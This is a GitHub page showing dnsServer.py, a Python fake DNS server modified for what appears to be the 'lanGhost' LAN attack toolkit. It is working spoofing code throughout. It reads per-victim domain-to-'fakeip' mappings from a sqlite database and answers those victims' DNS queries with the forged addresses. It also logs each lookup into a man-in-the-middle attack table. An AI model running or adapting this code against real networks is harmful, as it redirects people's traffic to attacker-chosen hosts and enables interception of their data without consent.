This repository has been archived by the owner on Jul 17, 2020. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 59
/
dnsServer.py
executable file
·207 lines (191 loc) · 7.87 KB
/
dnsServer.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
#!/usr/bin/env python3
# -.- coding: utf-8 -.-
# dnsServer.py
# (c) 2014 Patryk Hes
# Copyright: Patryk Hes - https://github.com/pathes/fakedns
# Modified by: xdavidhu
import socketserver
import sqlite3
import socket
import sys
import os
DNS_HEADER_LENGTH = 12
# TODO make some DNS database with IPs connected to regexs
def getIP(domain_name, client_address):
try:
dataip = socket.gethostbyname_ex(domain_name)
ip = str(dataip[2][0]).strip("[] '")
except socket.gaierror:
ip = "0.0.0.0"
script_path = os.path.dirname(os.path.realpath(__file__)) + "/"
DBconn = sqlite3.connect(script_path + "lanGhost.db")
DBcursor = DBconn.cursor()
DBcursor.execute("CREATE TABLE IF NOT EXISTS lanGhost_mitm (id integer primary key autoincrement, source TEXT,host TEXT, url TEXT, method TEXT, data TEXT, dns TEXT)")
DBcursor.execute("CREATE TABLE IF NOT EXISTS lanGhost_dns (attackid TEXT, target TEXT, domain TEXT, fakeip TEXT)")
DBcursor.execute("CREATE TABLE IF NOT EXISTS lanGhost_attacks (id integer primary key autoincrement, attackid TEXT, attack_type TEXT, target TEXT)")
DBconn.commit()
DBconn.close()
DBconn = sqlite3.connect(script_path + "lanGhost.db")
DBcursor = DBconn.cursor()
DBcursor.execute("SELECT domain, fakeip FROM lanGhost_dns WHERE target = ?", [str(client_address[0])])
data = DBcursor.fetchall()
if not data == []:
if domain_name == data[0][0]:
ip = data[0][1]
DBcursor.execute("SELECT attackid FROM lanGhost_attacks WHERE target=? AND attack_type='mitm' ORDER BY id DESC LIMIT 1", [str(client_address[0])])
data = DBcursor.fetchone()
if not data == None:
DBcursor.execute("INSERT INTO lanGhost_mitm(source, host, url, method, data, dns) VALUES (?, ?, ?, ?, ?, ?)", [str(client_address[0]), domain_name, "false", False, ip, "1"])
DBconn.commit()
DBconn.close()
print("[+] Resolving " + domain_name + " to " + ip + " from " + str(client_address[0]))
return ip
class DNSHandler(socketserver.BaseRequestHandler):
def handle(self):
socket = self.request[1]
data = self.request[0].strip()
# If request doesn't even contain full header, don't respond.
if len(data) < DNS_HEADER_LENGTH:
return
# Try to read questions - if they're invalid, don't respond.
try:
all_questions = self.dns_extract_questions(data)
except IndexError:
return
# Filter only those questions, which have QTYPE=A and QCLASS=IN
# TODO this is very limiting, remove QTYPE filter in future, handle different QTYPEs
accepted_questions = []
for question in all_questions:
name = str(b'.'.join(question['name']), encoding='UTF-8')
if question['qtype'] == b'\x00\x01' and question['qclass'] == b'\x00\x01':
accepted_questions.append(question)
else:
pass
response = (
self.dns_response_header(data) +
self.dns_response_questions(accepted_questions) +
self.dns_response_answers(accepted_questions, name, self.client_address)
)
socket.sendto(response, self.client_address)
def dns_extract_questions(self, data):
"""
Extracts question section from DNS request data.
See http://tools.ietf.org/html/rfc1035 4.1.2. Question section format.
"""
questions = []
# Get number of questions from header's QDCOUNT
n = (data[4] << 8) + data[5]
# Where we actually read in data? Start at beginning of question sections.
pointer = DNS_HEADER_LENGTH
# Read each question section
for i in range(n):
question = {
'name': [],
'qtype': '',
'qclass': '',
}
length = data[pointer]
# Read each label from QNAME part
while length != 0:
start = pointer + 1
end = pointer + length + 1
question['name'].append(data[start:end])
pointer += length + 1
length = data[pointer]
# Read QTYPE
question['qtype'] = data[pointer+1:pointer+3]
# Read QCLASS
question['qclass'] = data[pointer+3:pointer+5]
# Move pointer 5 octets further (zero length octet, QTYPE, QNAME)
pointer += 5
questions.append(question)
return questions
def dns_response_header(self, data):
"""
Generates DNS response header.
See http://tools.ietf.org/html/rfc1035 4.1.1. Header section format.
"""
header = b''
# ID - copy it from request
header += data[:2]
# QR 1 response
# OPCODE 0000 standard query
# AA 0 not authoritative
# TC 0 not truncated
# RD 0 recursion not desired
# RA 0 recursion not available
# Z 000 unused
# RCODE 0000 no error condition
header += b'\x80\x00'
# QDCOUNT - question entries count, set to QDCOUNT from request
header += data[4:6]
# ANCOUNT - answer records count, set to QDCOUNT from request
header += data[4:6]
# NSCOUNT - authority records count, set to 0
header += b'\x00\x00'
# ARCOUNT - additional records count, set to 0
header += b'\x00\x00'
return header
def dns_response_questions(self, questions):
"""
Generates DNS response questions.
See http://tools.ietf.org/html/rfc1035 4.1.2. Question section format.
"""
sections = b''
for question in questions:
section = b''
for label in question['name']:
# Length octet
section += bytes([len(label)])
section += label
# Zero length octet
section += b'\x00'
section += question['qtype']
section += question['qclass']
sections += section
return sections
def dns_response_answers(self, questions, name, client_address):
"""
Generates DNS response answers.
See http://tools.ietf.org/html/rfc1035 4.1.3. Resource record format.
"""
records = b''
for question in questions:
record = b''
for label in question['name']:
# Length octet
record += bytes([len(label)])
record += label
# Zero length octet
record += b'\x00'
# TYPE - just copy QTYPE
# TODO QTYPE values set is superset of TYPE values set, handle different QTYPEs, see RFC 1035 3.2.3.
record += question['qtype']
# CLASS - just copy QCLASS
# TODO QCLASS values set is superset of CLASS values set, handle at least * QCLASS, see RFC 1035 3.2.5.
record += question['qclass']
# TTL - 32 bit unsigned integer. Set to 0 to inform, that response
# should not be cached.
record += b'\x00\x00\x00\x00'
# RDLENGTH - 16 bit unsigned integer, length of RDATA field.
# In case of QTYPE=A and QCLASS=IN, RDLENGTH=4.
record += b'\x00\x04'
# RDATA - in case of QTYPE=A and QCLASS=IN, it's IPv4 address.
record += b''.join(map(
lambda x: bytes([int(x)]),
getIP(name, client_address).split('.')
))
records += record
return records
if __name__ == '__main__':
# Minimal configuration - allow to pass IP in configuration
if len(sys.argv) > 1:
IP = sys.argv[1]
host, port = '', 53
server = socketserver.ThreadingUDPServer((host, port), DNSHandler)
print('\033[36mStarted DNS server.\033[39m')
try:
server.serve_forever()
except KeyboardInterrupt:
server.shutdown()
sys.exit(0)